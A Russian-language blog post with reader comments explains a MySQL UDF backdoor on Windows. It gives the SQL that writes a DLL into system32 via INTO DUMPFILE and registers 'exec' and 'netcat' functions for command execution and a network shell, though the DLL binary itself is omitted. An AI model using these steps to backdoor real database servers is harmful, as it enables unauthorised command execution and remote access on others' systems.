В одном из своих постов однажды я уже упоминал возможность создания SQL-бэкдоров, в частности для MySQL. В отличие от MSSQL и Oracle, где имеются широкие возможности по созданию сложных хранимых процедур и функций, для MySQL проблема безопасности внутренней инфраструктуры баз данных является не столь освещенной и разработанной. Прежде всего это связано с отсутствием средств для создания различного рода malware на уровне БД, а именно встроенного скриптового языка – имеется лишь ограниченный набор конструкций для создания простейших циклов и условий. Но недавно случайно для себя обнаружил довольно любопытный пример MySQL-бэкдора, основанный на использовании UDF – User-Defined Functions (определяемые пользователем функции). Такое средство призвано расширить функционал MySQL с помощью специально оформленного и предварительно скомпилированного кода на C++, который реализует дополнительные возможности в контексте базы данных, при чем использование таких функций ни чем не отличается от любых других встроенных функций. Представленный выше бэкдор работает только под Windows XP, так как для создания UDF-функции необходимы права на запись в папку, содержащую системные библиотеки. В старых версиях MySQL этой директорией была С:/mysql/bin/, но в версиях > 5.1 поиск необходимой dll будет производиться в C:/windows/system32/. В любом случае, в Windows Vista трюк с UDF работать не будет, так как UAC не позволит записать ни в одну из этих папок.
Наибольшую сложность представляет написание специального кода на C++. Сам же процесс импортирования функции не вызывает трудностей:
USE mysql; DROP TABLE IF EXISTS `foo`; CREATE TABLE `foo` ( `line` blob ) TYPE=MyISAM; INSERT INTO `foo` VALUES ('[bin]'); SELECT * FROM foo INTO DUMPFILE 'c:/windows/system32/winudf.dll'; CREATE FUNCTION netcat RETURNS integer SONAME 'winudf.dll'; CREATE FUNCTION exec RETURNS integer SONAME 'winudf.dll'; DROP TABLE foo;
Автор бэкдора реализовал две функции:
- exec – выполнение произвольных команд
SELECT exec('echo foo > c:/bar.txt');
- netcat – реализация всеми известного TCP/IP-инструмента
SELECT netcat('127.0.0.1');
И, как оказалось, все действительно работает 😉
Интересная штука. (:
Правда, примеру этому уже пара лет, наверное. Помню, тогда еще малварина была, которая умела троянить win-машины с mysql этим кодом.
Интересная вещь. Cегодня надо протестить на локалхосте =)
P.S. То что на висте не робит ИМХО не важно. Кто догадается держать на ней сервер? =) Главное что бы работало в 2000/2003/XP да и достаточно будет.
@Kuzya
Для висты, действительно, не важно, но например в Windows Server 2008, где также имеется UAC, работать не будет.
@cr0w
Что правда, то правда 🙂 Автора бэкдора можно смело отенсти к категории олдскул
🙂 потестим.
прикольная вещь! =) Только что узнал о ней =)
Так что у нас тут выходит…
INSERT INTO `foo` VALUES (‘[bin]’);
SELECT * FROM foo INTO DUMPFILE ‘c:/windows/system32/winudf.dll’;
вместо [bin] должен быть бинарный код ДЛЛ библиотеки и мы записываем её непосредстна в систем32.
Эта строчка,
CREATE FUNCTION exec RETURNS integer SONAME ‘winudf.dll’;
как я понял регистрирует функцию из нашей библиотечки
а эта её вызывает:
SELECT exec(‘echo foo > c:/bar.txt’);
Я всё правильно понял?
Ну если всё так, то зачем нам создавать и записывать свою библиотеку winudf.dll, если можно воспользоваться уже готовыми библиотеками из систем32, которые содержат ВинАпи функции?
Было бы чудесно, если бы показали код бинарника, сорцы этого самого winudf.dll
а всё, разобрался =)
советую свем интересующимся прочитать это:
http://www.mysql.ru/docs/man/Adding_UDF.html
=)
Ух епт…Ещё б асилить бы всё это :Р Это стопудоф придётся доооолго изучать маны MySql =_=
winudf.dll где взять?)
Блин, прикольная штука 🙂 надо поюзать.